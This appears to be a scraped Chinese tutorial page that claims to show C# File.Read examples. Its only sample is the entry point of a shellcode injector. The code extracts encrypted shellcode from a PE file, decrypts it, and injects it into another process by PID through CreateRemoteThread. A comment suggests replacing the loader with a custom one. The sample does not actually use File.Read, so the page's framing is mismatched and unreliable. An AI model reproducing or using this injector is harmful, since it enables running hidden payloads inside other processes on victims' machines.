C# File.Read的代码示例

通过代码示例来学习C# File.Read方法

通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境，使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例，初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践，通过学习和模仿这些实例，学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说，是一种快速提升编程水平的有效途径。


File.Read是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例，源码中的File.Read() 已经帮大家高亮显示了，大家可以重点学习File.Read() 方法的写法，从而快速掌握该方法的应用。

File.Read的代码示例1 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
